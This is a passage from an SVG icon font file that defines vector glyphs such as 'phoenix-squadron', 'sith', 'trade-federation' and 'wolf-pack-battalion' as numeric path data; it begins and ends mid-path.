c11.2607 -3.22949 22.7705 -5.59961 34.3906 -7.05957c2.91016 -0.290039 5.80957 -0.610352 8.71973 -0.900391c13.8203 -1.08008 27.7402 -1 41.54 0.430664c4.4502 0.599609 8.91992 0.989258 13.3496 1.7793c3.63086 0.670898 7.28027 1.25 10.8701 2.10059
c4.12988 0.979492 8.28027 1.91016 12.3604 3.07031c26.5 7.33984 51.5801 19.71 73.5801 36.1992c15.7803 11.8203 29.96 25.7607 42.1201 41.2803c3.25977 4.02051 6.16992 8.30957 9.12988 12.5498c3.38965 5.06055 6.58008 10.25 9.59961 15.54
c2.40039 4.44043 4.74023 8.91016 6.9502 13.4502c5.69043 12.0498 10.2803 24.6201 13.75 37.4902c2.58984 10.0098 4.75 20.1602 5.90039 30.4502c1.76953 13.4697 1.93945 27.0996 1.29004 40.6494c-0.290039 3.89062 -0.669922 7.77051 -1 11.6602
c-2.23047 19.0801 -6.79004 37.9102 -13.8203 55.7998c-5.9502 15.1299 -13.5303 29.6299 -22.6104 43.1299c-12.6895 18.8008 -28.2393 35.6807 -45.9697 49.8301c-25.0498 20 -54.4697 34.5498 -85.6504 42.0801c-7.7793 1.92969 -15.6895 3.33984 -23.6299 4.4502
c-3.90918 0.589844 -7.84961 0.820312 -11.7695 1.24023c-7.38965 0.569336 -14.8105 0.719727 -22.2197 0.580078zM139.26 364.47c13.2998 8.89062 28.0801 15.3799 43.2998 20.1807c-3.16992 -1.77051 -6.43945 -3.38086 -9.5293 -5.29004
c-11.21 -6.68066 -21.5205 -14.9004 -30.3799 -24.4902c-6.80078 -7.42969 -12.7607 -15.7305 -17.0107 -24.8896c-3.29004 -6.86035 -5.63965 -14.1904 -6.85938 -21.7109c-0.930664 -4.84961 -1.2998 -9.80957 -1.16992 -14.75
c0.129883 -13.6592 4.43945 -27.0791 11.29 -38.8193c5.91992 -10.2197 13.6299 -19.3301 22.3594 -27.2598c4.85059 -4.36035 10.2402 -8.09082 14.9502 -12.6006c2.25977 -2.18945 4.49023 -4.41992 6.42969 -6.91016c2.62012 -3.30957 4.89062 -6.98926 5.99023 -11.0996
c0.900391 -3.02051 0.660156 -6.2002 0.69043 -9.31055c0.0195312 -4.09961 -0.0400391 -8.19922 0.0292969 -12.2998c0.140625 -3.54004 -0.0195312 -7.08984 0.110352 -10.6299c0.0800781 -2.37988 0.0205078 -4.75977 0.0498047 -7.13965
c0.160156 -5.77051 0.0605469 -11.5303 0.150391 -17.2998c0.109375 -2.91016 0.0195312 -5.82031 0.129883 -8.74023c0.0302734 -1.62988 0.129883 -3.28027 -0.0302734 -4.91016c-0.910156 -0.120117 -1.81934 -0.179688 -2.72949 -0.160156
c-10.9902 0 -21.8799 2.62988 -31.9502 6.92969c-6 2.7002 -11.8105 5.89062 -17.0898 9.83008c-5.75 4.19043 -11.0898 8.95996 -15.79 14.3105c-6.53027 7.24023 -11.9805 15.3896 -16.6201 23.9502c-1.07031 2.0293 -2.24023 4.01953 -3.17969 6.12012
c-1.16016 2.63965 -2.62012 5.13965 -3.66992 7.81934c-4.05078 9.68066 -6.57031 19.9404 -8.08008 30.3105c-0.490234 4.43945 -1.09082 8.87988 -1.2002 13.3496c-0.700195 15.7305 0.839844 31.5498 4.66992 46.8203c2.12012 8.14941 4.76953 16.1797 8.30957 23.8301
c6.32031 14.1992 15.3398 27.1797 26.3008 38.1895c6.2793 6.2002 13.1299 11.8398 20.5293 16.6699zM314.63 384.59c2.74023 -0.740234 5.41016 -1.74023 8.08984 -2.67969c6.36035 -2.33008 12.6807 -4.83984 18.71 -7.95996
c13.1104 -6.44043 25.3105 -14.8105 35.8203 -24.9697c10.2002 -9.9502 18.7402 -21.6006 25.1396 -34.3408c1.28027 -2.75 2.64062 -5.45996 3.81055 -8.25977c6.30957 -15.0996 10 -31.2598 11.2295 -47.5703c0.410156 -4.54004 0.44043 -9.08984 0.450195 -13.6396
c0.0703125 -11.6396 -1.49023 -23.25 -4.2998 -34.5303c-1.96973 -7.26953 -4.34961 -14.4893 -7.86035 -21.1797c-3.17969 -6.63965 -6.67969 -13.1602 -10.8398 -19.2402c-6.93945 -10.4697 -15.5996 -19.8701 -25.8203 -27.2197
c-10.4795 -7.63965 -22.6396 -13.0195 -35.3994 -15.3799c-3.50977 -0.69043 -7.08008 -1.08008 -10.6602 -1.20996c-1.84961 -0.0605469 -3.71973 -0.160156 -5.55957 0.0996094c-0.280273 2.15039 0 4.31055 -0.0107422 6.45996
c-0.0292969 3.73047 0.140625 7.4502 0.100586 11.1699c0.189453 7.02051 0.0195312 14.0508 0.209961 21.0703c0.0292969 2.37988 -0.0302734 4.75977 0.0292969 7.13965c0.170898 5.07031 -0.0390625 10.1406 0.140625 15.21
c0.0996094 2.99023 -0.240234 6.04004 0.509766 8.95996c0.660156 2.5 1.78027 4.86035 3.08984 7.08008c4.45996 7.31055 11.0605 12.96 17.6807 18.2607c5.37988 4.17969 10.4697 8.76953 15.0195 13.8398c7.67969 8.37012 14.1699 17.8799 18.7803 28.2695
c2.5 5.93066 4.51953 12.1006 5.5498 18.46c0.860352 4.37012 1.05957 8.83008 1.00977 13.2705c-0.0195312 7.84961 -1.39941 15.6494 -3.63965 23.1699c-1.75 5.72949 -4.27051 11.1797 -7.08984 16.4502c-3.87012 6.92969 -8.65039 13.3096 -13.96 19.1992
c-9.94043 10.8506 -21.75 19.9404 -34.6006 27.1006c-1.84961 1.01953 -3.83984 1.82031 -5.62988 2.96973zM213.83 326.14c0.979492 1.18066 1.99023 2.33008 3.12012 3.37988c-0.610352 -0.929688 -1.27051 -1.80957 -1.9502 -2.67969
c-3.09961 -3.87988 -5.54004 -8.30957 -7.03027 -13.0596c-0.870117 -3.27051 -1.67969 -6.60059 -1.72949 -10c-0.0703125 -2.52051 -0.0800781 -5.07031 0.319336 -7.57031c1.13086 -7.62988 4.33008 -14.8496 8.77051 -21.1201c2 -2.7002 4.25 -5.26953 6.91992 -7.33008
c1.62012 -1.26953 3.53027 -2.08984 5.33984 -3.0498c3.11035 -1.67969 6.32031 -3.22949 9.07031 -5.47949c2.66992 -2.09082 4.5498 -5.33008 4.39941 -8.79004c-0.00976562 -73.6709 0 -147.341 -0.00976562 -221.021c0 -1.34961 -0.0800781 -2.7002 0.0400391 -4.04004
c0.129883 -1.47949 0.820312 -2.83008 1.46973 -4.14941c0.860352 -1.66016 1.78027 -3.34082 3.18066 -4.62012c0.849609 -0.770508 1.96973 -1.40039 3.14941 -1.24023c1.5 0.200195 2.66016 1.34961 3.4502 2.57031c0.959961 1.50977 1.67969 3.15918 2.28027 4.84961
c0.759766 2.12988 0.439453 4.41992 0.540039 6.62988c0.139648 4.03027 -0.0205078 8.06055 0.139648 12.0898c0.0302734 5.89062 0.0302734 11.7705 0.0605469 17.6602c0.139648 3.62012 0.0292969 7.24023 0.109375 10.8604
c0.150391 4.0293 -0.0195312 8.05957 0.140625 12.0898c0.0292969 5.99023 0.0292969 11.9795 0.0693359 17.9697c0.140625 3.62012 0.0205078 7.24023 0.110352 10.8604c0.139648 3.92969 -0.0205078 7.85938 0.139648 11.7803
c0.0302734 5.98926 0.0302734 11.9795 0.0605469 17.9697c0.160156 3.93945 -0.00976562 7.87988 0.189453 11.8193c0.290039 -1.43945 0.129883 -2.91992 0.220703 -4.37988c0.189453 -3.60938 0.419922 -7.22949 0.759766 -10.8398
c0.320312 -3.43945 0.439453 -6.88965 0.859375 -10.3193c0.370117 -3.10059 0.510742 -6.2207 0.950195 -9.31055c0.570312 -4.08984 0.870117 -8.20996 1.54004 -12.29c1.45996 -9.04004 2.83008 -18.1104 5.08984 -26.9902c1.13086 -4.81934 2.40039 -9.60938 4 -14.2998
c2.54004 -7.89941 5.7207 -15.6699 10.3105 -22.6201c1.72949 -2.63965 3.87012 -4.97949 6.09961 -7.20996c0.270508 -0.25 0.549805 -0.509766 0.879883 -0.709961c0.600586 -0.25 1.31055 0.0703125 1.7002 0.570312c0.709961 0.879883 1.16992 1.93945 1.7002 2.92969
c4.0498 7.7998 8.17969 15.5605 12.3398 23.3105c0.700195 1.30957 1.44043 2.62012 2.56055 3.60938c1.75 1.57031 3.83984 2.69043 5.97949 3.62988c2.87988 1.2207 5.90039 2.19043 9.03027 2.41992c6.58008 0.620117 13.1094 -0.75 19.5596 -1.84961
c3.69043 -0.580078 7.40039 -1.16992 11.1299 -1.41016c3.74023 -0.0996094 7.48047 -0.0498047 11.21 0.280273c8.55078 0.919922 16.9902 2.95996 24.9404 6.25c5.2998 2.24023 10.46 4.83008 15.3096 7.92969c11.46 7.20996 21.46 16.5703 30.04 27.0107
c1.16992 1.41992 2.25 2.89941 3.45996 4.2793c-1.19922 -3.24023 -2.66992 -6.37012 -4.15918 -9.47949c-1.25 -2.90039 -2.84082 -5.61035 -4.27051 -8.41992c-5.16016 -9.62988 -11.0195 -18.9102 -17.75 -27.5205
c-4.03027 -5.20996 -8.53027 -10.0498 -13.3301 -14.5703c-6.63965 -6.0498 -14.0703 -11.3691 -22.4297 -14.7598c-8.20996 -3.37012 -17.3105 -4.62988 -26.0898 -3.29004c-3.56055 0.580078 -7.01074 1.69043 -10.4102 2.87988
c-2.79004 0.970703 -5.39062 2.38086 -8.03027 3.69043c-3.42969 1.70996 -6.63965 3.80957 -9.70996 6.08008c2.70996 -3.06055 5.69043 -5.86035 8.7002 -8.61035c4.26953 -3.75977 8.74023 -7.30957 13.6299 -10.2295c3.98047 -2.4502 8.29004 -4.40039 12.8398 -5.51074
c1.45996 -0.369141 2.95996 -0.459961 4.4502 -0.599609c-1.25 -1.09961 -2.62988 -2.04004 -3.99023 -2.97949c-9.60938 -6.54004 -20.0098 -11.8604 -30.6895 -16.4307c-20.8604 -8.7002 -43.1699 -13.9697 -65.7402 -15.3398
c-4.66016 -0.240234 -9.32031 -0.360352 -13.9805 -0.360352c-4.97949 0.110352 -9.96973 0.130859 -14.9199 0.650391c-11.2002 0.759766 -22.29 2.73047 -33.1699 5.42969c-10.3496 2.70996 -20.5498 6.12012 -30.2998 10.5508
c-8.70996 3.85938 -17.1201 8.41992 -24.9902 13.79c-1.83008 1.30957 -3.74023 2.5293 -5.37012 4.0791c6.60059 1.19043 13.0303 3.39062 18.9902 6.48047c5.74023 2.86035 10.9902 6.66016 15.6299 11.0703c2.24023 2.18945 4.29004 4.58984 6.19043 7.08984
c-3.43066 -2.12988 -6.93066 -4.15039 -10.6201 -5.78027c-4.41016 -2.16016 -9.07031 -3.76953 -13.8105 -5.01953c-5.72949 -1.52051 -11.7393 -1.73047 -17.6094 -1.14062c-8.12988 0.950195 -15.8604 4.27051 -22.5098 8.98047
c-4.32031 2.93945 -8.2207 6.42969 -11.96 10.0596c-9.93066 10.1602 -18.2002 21.8105 -25.6602 33.8604c-3.94043 6.26953 -7.53027 12.75 -11.1201 19.2197c-1.0498 2.04004 -2.15039 4.0498 -3.17969 6.10059c2.84961 -2.9209 5.56934 -5.9707 8.42969 -8.88086
c8.99023 -8.96973 18.5596 -17.4395 29.1602 -24.4795c7.5498 -4.90039 15.6699 -9.23047 24.5596 -11.0303c3.11035 -0.729492 6.32031 -0.469727 9.46973 -0.80957c2.77051 -0.280273 5.56055 -0.200195 8.34082 -0.299805
c5.0498 -0.0605469 10.1094 -0.0400391 15.1592 0.15918c3.65039 0.160156 7.27051 0.660156 10.8906 1.09082c2.06934 0.25 4.10938 0.709961 6.13965 1.19922c3.87988 0.950195 8.11035 0.959961 11.8301 -0.609375c4.75977 -1.85059 8.44043 -5.64062 11.3799 -9.70996
c2.16016 -3.02051 4.06055 -6.2207 5.66016 -9.58008c1.16016 -2.43066 2.45996 -4.79004 3.5498 -7.26074c1 -2.23926 2.15039 -4.41992 3.41992 -6.51953c0.669922 -1.01953 1.40039 -2.15039 2.62012 -2.5498c1.06055 0.75 1.70996 1.91016 2.28027 3.03027
c2.09961 4.15918 3.41992 8.64941 4.88965 13.0498c2.02051 6.58984 3.78027 13.2695 5.19043 20.0195c2.20996 9.25 3.25 18.7197 4.54004 28.1299c0.55957 3.98047 0.830078 7.99023 1.30957 11.9707c0.870117 10.6396 1.90039 21.2695 2.24023 31.9395
c0.0800781 1.86035 0.240234 3.70996 0.25 5.57031c0.00976562 4.34961 0.25 8.68945 0.219727 13.0303c-0.00976562 2.37988 -0.00976562 4.75977 0 7.12988c0.0498047 5.06934 -0.200195 10.1396 -0.219727 15.21c-0.200195 6.60938 -0.709961 13.2002 -1.29004 19.7793
c-0.730469 5.88086 -1.5498 11.7803 -3.12012 17.5107c-2.0498 7.75 -5.58984 15.0293 -9.7998 21.8193c-3.16016 5.07031 -6.79004 9.87988 -11.0898 14.0303c-3.87988 3.86035 -8.58008 7.08008 -13.9404 8.4502c-1.5 0.410156 -3.05957 0.450195 -4.58984 0.639648
c0.0703125 2.99023 0.700195 5.93066 1.25977 8.85059c1.58984 7.70996 3.7998 15.2998 6.76074 22.5996c1.51953 4.03027 3.40918 7.90039 5.38965 11.7197c3.4502 6.56055 7.62012 12.79 12.46 18.46zM245.1 324.44
c0.350586 0.0595703 0.709961 0.119141 1.07031 0.189453c0.19043 -1.79004 0.0898438 -3.58008 0.0996094 -5.37012v-38.1299c-0.00976562 -1.74023 0.130859 -3.49023 -0.149414 -5.21973c-0.360352 0.0302734 -0.709961 0.0498047 -1.06055 0.0498047
c-0.949219 3.75 -1.71973 7.5498 -2.61914 11.3096c-0.380859 1.53027 -0.580078 3.09082 -1.07031 4.59082c-1.7002 0.239258 -3.42969 0.169922 -5.15039 0.199219c-5.05957 0.0107422 -10.1299 0 -15.1895 0.0107422
c-1.66016 0.00976562 -3.32031 -0.0898438 -4.98047 0.0292969c-0.0302734 0.390625 -0.259766 0.910156 0.160156 1.18066c1.28027 0.649414 2.71973 0.879883 4.05957 1.34961c3.43066 1.13965 6.88086 2.16016 10.3105 3.31055
c1.38965 0.479492 2.90039 0.719727 4.16016 1.54004c0.0400391 0.55957 0.0195312 1.12988 -0.0498047 1.67969c-1.23047 0.549805 -2.53027 0.870117 -3.81055 1.28027c-3.12988 1.0293 -6.29004 1.95996 -9.41016 3.01953c-1.79004 0.620117 -3.66992 1 -5.41016 1.79004
c-0.0292969 0.370117 -0.0693359 0.730469 -0.109375 1.08984c5.08984 0.19043 10.2002 -0.0595703 15.2998 0.120117c3.36035 0.129883 6.73047 -0.0800781 10.0898 0.0703125c0.120117 0.389648 0.259766 0.769531 0.370117 1.16016
c1.08008 4.93945 2.33008 9.8291 3.38965 14.75zM251.07 324.64c0.359375 -0.0498047 0.719727 -0.120117 1.08008 -0.199219c0.979492 -3.85059 1.72949 -7.76074 2.70996 -11.6104c0.359375 -1.41992 0.55957 -2.87988 1.0293 -4.27051
c2.53027 -0.179688 5.07031 0.0107422 7.61035 -0.0498047c5.16016 -0.120117 10.3301 -0.120117 15.4902 -0.0693359c0.759766 0.00976562 1.51953 -0.0302734 2.2793 -0.0800781c-0.0390625 -0.360352 -0.0693359 -0.720703 -0.0996094 -1.08008
c-1.82031 -0.830078 -3.78027 -1.25 -5.66992 -1.89062c-3.73047 -1.22949 -7.48047 -2.38965 -11.2197 -3.56934c-0.570312 -0.169922 -1.12012 -0.419922 -1.66992 -0.640625c-0.150391 -0.549805 -0.180664 -1.12012 -0.120117 -1.68945
c0.870117 -0.480469 1.81934 -0.810547 2.76953 -1.08984c4.87988 -1.52051 9.73047 -3.14062 14.6299 -4.60059c0.379883 -0.129883 0.780273 -0.269531 1.12988 -0.490234c0.400391 -0.269531 0.230469 -0.790039 0.150391 -1.17969
c-1.66016 -0.129883 -3.30957 -0.0302734 -4.96973 -0.0400391c-5.16992 -0.00976562 -10.3301 0.00976562 -15.5 -0.00976562c-1.61035 -0.0302734 -3.21973 0.0195312 -4.82031 -0.209961c-0.519531 -1.66992 -0.719727 -3.41992 -1.16992 -5.11035
c-0.94043 -3.56934 -1.51953 -7.24023 -2.54004 -10.7793c-0.360352 -0.0107422 -0.709961 -0.0205078 -1.05957 -0.0605469c-0.290039 1.73047 -0.150391 3.48047 -0.150391 5.21973v38.1299c0.0205078 1.78027 -0.0800781 3.58008 0.110352 5.37012zM65.0498 279.67
c1.12012 2.15039 2.08008 4.40039 3.37012 6.45996c-1.82031 -7.55957 -2.91016 -15.2695 -3.62012 -23c-0.799805 -7.70996 -0.849609 -15.4902 -0.540039 -23.2295c1.0498 -19.9404 5.54004 -39.8301 14.2305 -57.8809c2.99023 -5.98926 6.34961 -11.8291 10.5 -17.1094
c6.12012 -7.46973 12.5293 -14.7598 19.8398 -21.0898c4.7998 -4.10059 9.99023 -7.78027 15.54 -10.8008c3.26953 -1.64941 6.50977 -3.38965 9.93945 -4.67969c5.01074 -2.03027 10.1904 -3.60938 15.4209 -4.93945c3.8291 -0.959961 7.7793 -1.41016 11.5195 -2.70996
c5 -1.57031 9.46973 -4.61035 13.0303 -8.43066c4.92969 -5.22949 8.08984 -11.8701 10.2002 -18.6699c0.989258 -2.89941 1.58984 -5.91016 2.16992 -8.91992c0.149414 -0.75 0.219727 -1.51953 0.15918 -2.29004c-6.5 -2.78027 -13.2598 -5.05957 -20.2598 -6.17969
c-4.10938 -0.780273 -8.29004 -0.990234 -12.46 -1.08008c-10.25 -0.240234 -20.4697 1.75977 -30.1201 5.12012c-3.73926 1.41992 -7.48926 2.84961 -11.0293 4.71973c-8.06055 3.83984 -15.6406 8.7002 -22.46 14.46c-2.9209 2.5498 -5.83008 5.12988 -8.40039 8.03027
c-9.16016 9.83008 -16.2998 21.4102 -21.79 33.6494c-2.38965 5.55078 -4.61035 11.1807 -6.37012 16.96c-1.16992 3.94043 -2.36035 7.89062 -3.25977 11.9102c-0.75 2.94043 -1.21973 5.9502 -1.87012 8.91992c-0.459961 2.14062 -0.69043 4.32031 -1.03027 6.48047
c-0.849609 5.42969 -1.2793 10.9297 -1.33008 16.4297c0.110352 6.18066 0.25 12.3701 1.07031 18.5c0.400391 2.86035 0.669922 5.74023 1.15039 8.60059c0.979492 5.69922 2.13965 11.3691 3.70996 16.9297c3.08984 11.6504 7.47949 22.9502 12.6895 33.8398z
M428.78 286.11c1.09961 -1.66016 1.91016 -3.48047 2.7793 -5.26074c2.10059 -4.44922 4.24023 -8.89941 6.02051 -13.4893c7.61035 -18.7607 12.2998 -38.79 13.04 -59.0508c0.0195312 -1.75977 0.0703125 -3.51953 0.110352 -5.29004
c0.129883 -9.56934 -1.27051 -19.0898 -3.18066 -28.4492c-0.729492 -3.58984 -1.54004 -7.16992 -2.58008 -10.6904c-4.04004 -14.7197 -10 -29 -18.4102 -41.7803c-8.20996 -12.5693 -19.0098 -23.5498 -31.8398 -31.4092
c-5.72949 -3.59082 -11.79 -6.64062 -18.0498 -9.19043c-5.78027 -2.19043 -11.71 -4.03027 -17.7998 -5.11035c-6.40039 -1.0498 -12.9102 -1.51953 -19.4004 -1.22949c-7.91992 0.479492 -15.7793 2.07031 -23.21 4.84961
c-1.93945 0.799805 -3.93945 1.45996 -5.83984 2.33008c-0.209961 1.50977 0.25 2.99023 0.530273 4.45996c1.16016 5.74023 3.03027 11.3604 5.7002 16.5801c2.36914 4.50977 5.51953 8.65039 9.45996 11.9004c2.42969 2.0498 5.23926 3.60938 8.15918 4.83008
c3.58008 1.5 7.4707 1.96973 11.2402 2.83008c7.23047 1.70996 14.3701 3.92969 21.1504 7c10.3496 4.64941 19.71 11.3799 27.6494 19.46c1.59082 1.60938 3.23047 3.17969 4.74023 4.86914c3.37012 3.76074 6.70996 7.57031 9.85059 11.5303
c7.47949 10.0703 12.8193 21.5898 16.71 33.4805c1.58008 5.2998 3.20996 10.5996 4.20996 16.0498c0.629883 2.87012 1.04004 5.78027 1.51953 8.67969c0.870117 6.08984 1.58984 12.2207 1.67969 18.3799c0.120117 6.65039 0.140625 13.3203 -0.529297 19.9404
c-0.730469 7.99023 -1.87012 15.96 -3.70996 23.7803z" />
    <glyph glyph-name="phoenix-squadron" unicode="&#xf511;" horiz-adv-x="512" 
d="M96 384.62c46.4902 36.1299 105.55 56.0703 164.51 54.5703c29.5801 0.379883 59.1104 -5.37012 86.9102 -15.3301c-24.1299 4.62988 -49 6.33984 -73.3799 2.44922c-42.8701 -5.30957 -83.04 -27.1494 -111.83 -59.1797c5.66992 1 10.7803 3.66992 16 5.86035
c18.1396 7.87012 37.4902 13.2598 57.2305 14.8301c19.7393 2.12988 39.6396 0.429688 59.2793 -1.91992c-14.4199 -2.79004 -29.1201 -4.57031 -43 -9.59082c-34.4297 -11.0693 -65.2695 -33.1592 -86.2998 -62.6299c-13.7998 -19.71 -23.6299 -42.8594 -24.6699 -67.1299
c-0.349609 -16.4902 5.21973 -34.8096 19.8301 -44c7.01465 -4.23926 19.3594 -7.67969 27.5547 -7.67969c2.77539 0 7.23926 0.420898 9.96484 0.939453c15.4502 2.45996 30.0703 8.64062 43.6006 16.3301c11.5195 6.82031 22.6699 14.5508 32 24.25
c3.79004 3.2207 2.53027 8.4502 2.62012 12.79c-2.12012 0.339844 -4.37988 1.11035 -6.30078 -0.299805c-9.47656 -5.19531 -25.5244 -12.0811 -35.8193 -15.3701c-20 -6.16992 -42.1602 -8.45996 -62.1006 -0.779297c12.79 -1.73047 26.0605 -0.310547 37.7402 5.43945
c20.2305 9.71973 36.8105 25.2002 54.4404 38.7705c23.0107 17.7168 62.8379 42.4951 88.8994 55.3096c25.71 12 52.9404 22.7803 81.5703 24.1201c-15.6299 -13.7197 -32.1504 -26.5205 -46.7803 -41.3799c-14.5098 -14 -27.46 -29.5 -40.1094 -45.1807
c-3.52051 -4.59961 -8.9502 -6.93945 -13.5801 -10.1592c-18.8516 -12.6768 -42.0986 -39.6016 -51.8906 -60.1006c-9.33008 -19.6797 -14.5 -41.8496 -11.7695 -63.6494c1.93945 -13.6904 8.70996 -27.5908 20.8994 -34.9102c12.9004 -8 29.0508 -8.07031 43.4805 -5.10059
c32.7998 7.4502 61.4297 28.8906 81 55.8408c20.4404 27.5195 30.5195 62.1992 29.1602 96.3496c-0.520508 7.5 -1.57031 15 -1.66016 22.4902c8 -19.4805 14.8203 -39.71 16.6504 -60.8301c2 -14.2803 0.75 -28.7598 -1.62012 -42.9004
c-1.91016 -11 -5.66992 -21.5098 -7.78027 -32.4297c17.209 19.293 34.833 55.6123 39.3398 81.0703c1.24121 7.8584 2.24902 20.6953 2.24902 28.6514c0 21.957 -7.37305 55.999 -16.459 75.9883c20.7803 -32 32.3398 -69.5801 35.71 -107.48
c0.490234 -12.7295 0.490234 -25.5098 0 -38.2295c-2.37305 -28.7334 -15.6289 -72.5254 -29.5898 -97.75c-26.1201 -47.3398 -68 -85.6299 -117.19 -108c-78.29 -36.2305 -174.68 -31.3203 -248 14.6797c-32.9014 20.1289 -73.8711 64.3281 -91.4492 98.6602
c-12.291 24.2021 -23.6523 65.8301 -25.3604 92.9199v31.3398c3.92969 69.7402 40.8701 135.92 96 178.36zM318 304.29c4.54688 0.770508 11.7148 2.77734 16 4.47949c5 1.77051 9.24023 5.94043 10.3203 11.2207c-8.95996 -4.99023 -17.9805 -9.91992 -26.3203 -15.7002z
" />
    <glyph glyph-name="sith" unicode="&#xf512;" 
d="M0 416l118.75 -69.71l-11.5195 58.9004l91.0596 -69.8701c8.5 1.50977 17.0996 2.29004 25.71 2.29004s17.21 -0.770508 25.71 -2.29004l91.0596 69.8701l-11.5195 -58.9004l118.75 69.71l-69.71 -118.75l58.8604 11.5195l-69.8408 -91.0293
c3.04004 -17.0098 3.03027 -34.4404 0 -51.4502l69.8408 -91.0303l-58.8604 11.5205l69.71 -118.78l-118.75 69.71l11.5195 -58.8604l-91.0293 69.8408c-17.0098 -3.04004 -34.46 -3.04004 -51.4805 0l-91.0293 -69.8408l11.5195 58.8604l-118.75 -69.71l69.71 118.78
l-58.8604 -11.5205l69.8408 91.0303c-1.25488 7.04492 -2.27246 18.5693 -2.27246 25.7246c0 7.15625 1.01758 18.6807 2.27246 25.7256l-69.8408 91.0293l58.8604 -11.5195zM224 316.22c-31.7998 0 -63.6104 -12.0898 -87.8496 -36.3398
c-48.4902 -48.4902 -48.5 -127.2 0 -175.7c48.5 -48.4893 127.21 -48.5195 175.699 -0.0292969c48.4902 48.4893 48.5 127.199 0 175.699c-24.25 24.25 -56.0498 36.3701 -87.8496 36.3701zM224 279.56c22.4199 0 44.8301 -8.51953 61.9199 -25.6094
c34.1904 -34.1904 34.1797 -89.6904 0 -123.87c-34.1895 -34.1797 -89.6504 -34.1904 -123.84 0c-34.1904 34.1895 -34.1797 89.6895 0 123.87c17.0898 17.0898 39.5 25.6094 61.9199 25.6094z" />
    <glyph glyph-name="trade-federation" unicode="&#xf513;" horiz-adv-x="496" 
d="M248 439.2c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -43.5996c129.7 0 234.8 105.1 234.8 234.8s-105.1 234.8 -234.8 234.8s-234.8 -105.1 -234.8 -234.8s105.1 -234.8 234.8 -234.8zM403.1 284.9v-0.100586h-145.699
v-34.7998h83.2998v-47h-83.2998v-195.8h-48.8008v196.8h-117.699l-36.7002 46h155.1v81.7002h193.8v-46.7998zM329.8 239.8h-82.8994v56.2002h145v24.4004h-171.801v-80.6006h-143.899l20.0996 -23.8994h123.8v-197.4h26.8008v197.4h82.8994v23.8994zM168.5 308.8l22 9.2998
l-15.7998 -18.0996l15.7002 -18.0996l-22.2002 9.5l-12.2998 -20.5l2.09961 24l-23.2998 5.39941l23.5 5.40039l-2.10059 23.7998zM138.9 328.5l9.5 -10.2002l-13.8008 5.2998l-6.7998 -12.1992l0.799805 14.6992l-13.6992 2.7002l14.2998 3.7998l-1.7002 13.9004
l8 -12.4004l12.7002 5.90039zM304.3 183.3l-9.2998 -10.7998l9.40039 -10.7002l-13.1006 5.5l-7.2998 -12.2002l1.2002 14.2002l-13.9004 3.2002l13.9004 3.2002l-1.2998 14.2002l7.2998 -12.2002zM411.2 260.5l-15 -17.5996l15.0996 -17l-21.2002 8.7998l-11.5 -19.6006
l1.80078 22.9004l-22.2002 4.90039l22.2998 5.39941l-2.2002 22.7002l12 -19.5996zM248 418.1c125.3 0 226.9 -101.6 226.9 -226.899s-101.601 -226.9 -226.9 -226.9s-226.9 101.601 -226.9 226.9s101.601 226.899 226.9 226.899zM342.6 252h-83.1992v30.9004h145.699
v50.6992h-197.8v-81.5996h-157.399l40 -49.9004h116.699v-196.8h52.7002v195.7h83.2998v51zM248 404.8c-94.5996 0 -174.9 -61.5996 -202.9 -146.8h157.4v81.5996h199.1c-38.7998 40.2002 -93.2998 65.2002 -153.6 65.2002zM248 -22.2998c117.9 0 213.5 95.5996 213.4 213.5
c0 51.8994 -18.5 99.5 -49.3008 136.5v-50.7998h-145.6v-19.2002h83.2002v-62.7002h-83.2998v-195.8h-64.6006v196.8h-114.7l-43.7998 56.2998c-5.7998 -19.2998 -8.89941 -39.8994 -8.89941 -61.0996c0 -117.9 95.6992 -213.5 213.6 -213.5zM178.8 173l22.7002 9.2998
l-16.9004 -17.0996l15.8008 -18.7998l-21.5 10.7998l-13 -20.9004l3.69922 23.7998l-23.7998 5.90039l23.7002 3.90039l-1.7002 24.5z" />
    <glyph glyph-name="wolf-pack-battalion" unicode="&#xf514;" horiz-adv-x="512" 
d="M267.73 -23.5303l-11.4404 -21.1396l-11.4404 21.1104l-10.5596 -15.8408l-5.28027 12.3203l-5.2793 -7v-29.8301c-21.0605 7.91992 -21.1104 66.8604 -25.5107 97.21c-4.62012 31.8799 0.879883 92.8105 -81.3701 149.11c8.88086 23.5996 12 49.4297 2.64062 80.0498
c-27.8701 -3.33008 -53.9404 -10.5801 -63.3398 -54.0996l30.3496 -8.36035c-11.2002 -23.04 -17.0195 -46.7598 -13.2002 -72.1396l27.2705 7l6.16016 -33.4307l18.4697 7l8.7998 -33.4297l19.3496 7l-26.4297 -21.0596l-8.7998 28.1494l-24.6299 -5.28027l-7 35.6309
l-26.3906 -14.5205c-0.25 20.0205 -6.95996 58.0605 8.80078 84.4502l-26.3906 -5.28027c-3.99023 22.0703 2.37988 39.21 7.91992 56.7402l-22.4297 -9.67969c0.44043 25.0693 29.9404 56.79 61.5898 58.5098c20.2197 1.08984 56.7305 25.1602 54.1006 51.8994
c-1.95996 19.8701 -17.4502 42.6201 -43.1104 49.7002c43.9795 -36.5098 9.71973 -67.2998 -5.28027 -73.46c-4.39941 11.4404 -17.54 69.0801 0 130.2c40.4697 -22.8701 89.7002 -65.0996 93.21 -147.86l58.0605 -38.71l3.51953 -93.25l-107.33 59.8203l-7 -7
l17.5801 -3.50977l44 -38.71l15.8398 5.2793l28.1504 -49.2598l3.51953 -119.64l-21.1094 -15.8398l32.5498 -15.8398l32.5498 15.8398l-21.1094 15.8398l3.51953 119.64l28.0996 49.25l15.8408 -5.28027l44 38.7109l17.5898 3.51953l-7 7l-107.3 -59.7695l3.51953 93.25
l58 38.71c3.5498 82.6895 52.8096 124.92 93.2002 147.79c17.54 -61.1201 4.39941 -118.761 0 -130.2c-14.96 6.16016 -49.2803 36.9502 -5.28027 73.46c-25.6602 -7.08008 -41.1104 -29.8301 -43.1104 -49.7002c-2.63965 -26.7305 33.8809 -50.8096 54.1006 -51.9004
c31.6396 -1.70996 61.1396 -33.4297 61.5801 -58.5l-22.4307 9.68066c5.54004 -17.5303 11.9209 -34.6699 7.9209 -56.7402l-26.3906 5.28027c15.7998 -26.3906 9.0498 -64.4502 8.7998 -84.4502l-26.3896 14.5195l-7 -35.6299l-24.5898 5.24023l-8.7998 -28.1504
l-26.3906 21.1104l19.3506 -7l8.7998 33.3896l18.4697 -7l6.16016 33.4307l27.2803 -7.05078c3.7998 25.3809 -2.0498 49.1406 -13.2002 72.1406l30.3496 8.35938c-9.42969 43.5205 -35.4297 50.7305 -63.3398 54.1006
